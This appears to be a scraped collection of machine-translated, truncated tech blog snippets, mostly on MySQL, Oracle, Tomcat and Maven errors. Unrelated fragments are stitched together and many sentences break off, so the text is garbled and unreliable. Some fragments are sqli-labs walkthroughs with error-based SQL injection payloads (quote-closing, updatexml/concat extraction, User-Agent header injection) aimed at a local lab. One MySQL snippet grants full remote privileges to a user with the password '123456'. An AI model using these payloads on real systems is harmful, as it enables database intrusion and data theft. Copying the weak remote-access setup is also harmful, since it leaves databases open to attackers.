Newly installed a MySQL, created a new user dadmin, grant all permissionMysql>grant all on * * to ' dadmin ' @ ' localhost ' identified by ' 123456 ';Mysql>drop USER ' root ' @ ' localhost ';Mysql>drop USER ' root ' @ ' localhost.localdomain ';Mysql>drop USER ' root ' @ ':: 1 ';Mysql>drop USER ' root ' @ ' 127.0.0.1 ';Back just remembered, forgot to give ' dbaadmin ' @ '% ' remote permission, and then start authorizingMysql> GRANT All on * * to ' dadmin ' @ ' percent ' identified by ' 123456 ';
I do not know what the reason, the log-in database today, this error may be related to my previous installation of MySQL, just started to think it was password input errors, tried several times or not resolved. Finally wait for you, haha, in this URL http://www.2cto.com/database/201405/300620.html see solution, now carry over, also is convenient under everybody ~ Plus, attach another blog, speak sql Server2005 The same problem-solving method: Http://b
Problem reason: remote login mysql error after migrating database to MySQL host:1130 ' 10.0.0.8 ' is This MySQL ServerWORKAROUND: Switch to MySQL host and refresh MySQL database after entering MYSQmysql> FLUSH privileges;Successful remote login successful after switching back again:Thanks to the Netizen's solution: http://blog.csdn.net/bingjianit/article/details/54384299Remote Login MySQL Error:
The error is as follows:Search a lot of methods, but there is no way to solve, but eventually found a good solution,Thanks to the man's blog, "http://blog.itpub.net/519536/viewspace-689469."The content is purely reproduced, suggest to the original blog to see the detailsProcessing methodsNow that you know what caused the user to fail to delete, the table sdo_geom_metadata_table was not found. The way to deal with it is to find it.We can consider using
Execute Select dbms_sqltune.report_tuning_task (: tuning_task) from dual; The error message is as follows:Ora-00600:internal error code, arguments: [Kesqsmakebindvalue:obj], [], [],[], [], [], [], []Ora-06512:at "SYS. Prvt_advisor ", line 1624Ora-06512:at "SYS. Dbms_advisor ", line 186Ora-06512:at "SYS. Dbms_sqltune ", line 1008Ora-06512:at Line 8##################Confirmed by MoS, this is a bug, need to up
Tags: blog http sp file log BS SQL windowScene Reproduction:--------------------------------------------------------------------------------------------------------------- ------------The first step:Find the cause of the error, run-to-EVENTVWR and see what's wrongThe path to this description log file is incorrect!Step Two:Change the location of the log file:To be modified in the configuration file;Windows system log files in the Data folder of the ins
Tags: users erro log pos replace without pass user com、Add Single quote ErrorExtraHttp://localhost/sqli-labs-master/Less-23/?id=1 '%23The error has not changed, guess filtered #View Source Discovery #--it's been replaced.Then it can be used by closing the single quotation markHttp://localhost/sqli-labs-master/Less-23/?id=1 ' and ' 1 ' = ' 1Then use the Updatexml function to fetch the data by errorHttp://localhost/sqli-labs-master/Less-23/?id=1 ' and U
This time, username and password all have input checks.However, IP and uagent are not verifiedWhen we use Admin admin login successful, will be an INSERT statementBecause the program trusts the header information of the browser unconditionally, it constructs the injection by modifying the header information of the HTTP packet.Packet interception/modification using BurpsuiteModify the User-agent field, add a single quotation markuser-agent:mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) gecko/20100
Http://192.168.136.128/sqli-labs-master/Less-46/?sort=1An error occurred while sort=4Description parameter is added after order byError message is not masked, use updatexml function directlyHttp://192.168.136.128/sqli-labs-master/Less-46/?sort=4 and Updatexml (1,concat (0x7e,database (), 0x7e), 1)%23 Http://192.168.136.128/sqli-labs-master/Less-46/?sort=4 and Updatexml (1,concat (0x7e, (select table_name from Information_schema.tables where table_sche
When you export other MAVEN projects, the MAVEN download jar is not finished downloading and closes eclipse. After restarting, always prompt:An internal error occurred during: "Reload Maven project". Such as:Solution:Find the workspace where you want to start the project:Find .metadata-->.plugins-->org.eclipse.e4.workbench--> within the eclipse work interval Workbench.xmi with the Compile tool, delete the Sharedelements configuration item (the Sharede
Php error handling, php Error
In PHP, the default error handling is simple. An error message is sent to the browser. The message contains the file name, row number, and description error message.
PHP error handling
Php error handling, php Error
In PHP, the default error handling is simple. An error message is sent to the browser. The message contains the file name, row number, and description error message.
PHP error handling
Cause: The port that Tomcat is going to open is occupied!Workaround:If you are using port 8080, find out which program is taking up the port as follows: "Start"--"Run"-"cmd"-"Netstat-ano" Enter the following results appear:C:\users\candy>netstat-anoActive connectionsProtocol local address external address state PIDTCP 0.0.0.0:135 0.0.0.0:0 LISTENING 848TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 3028TCP 0.0.0.0:8009 0.0.0.0:0 LISTENING 5080TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 5080.......................
According to the solution presented on the net, can solve1, call up MyEclipse preference, as shown in the configuration2, after the configuration, you can introduce the following namespaces in the Springmvc-congig.xml file"Http://www.springframework.org/schema/beans"Xmlns:context="Http://www.springframework.org/schema/context"Xmlns:mvc="HTTP2,://www.springframework.org/schema/mvc"Xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemalocation="Http://www.springframework.org/schema/beansh
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Label:When a new version of MySQL is used, the old version of MySQL is connected, and it is possible to report:ERROR 2049 (HY000): Connection using old (pre-4.1.1) authentication Protocol refUsed (client option ' Secure_auth ' enabled) this error.The reason for this is that the server-side password Management protocol is obsolete, using the old user password format storage, but the client upgrade followed by a new password format. The new version of MySQL will reject the connection if it encount
Reason one: It is possible that Tomcat files were accidentally deleted. Try to change Tomcat,Resolution step: Re-download Tomcat and unzip. Click windows--"preferences--" Tomcat to reconfigure.Reason two: MyEclipse system comes with JDK problemResolution step: Re-download Tomcat and unzip. Click windows--"preferences--" tomcat--"JDK, configure your own JDKCause three: errors caused by software conflictsSteps to resolve:Locate Myeclipse.ini FilePlus-djava.net.preferipv4stack=true.Resolves a confi
When you create a Web project using MAVEN, the JSP introduces a static file to indicate an error.Error tip: Javax.servlet.ServletException cannot be resolved to a typeErrors such as:Solution:The following dependencies can be raised in Maven's Pom file:Links: Maven Central Warehouse Address: http://mvnrepository.com/When you create a Web project using MAVEN, the JSP introduces a static file to indicate an error. JSP
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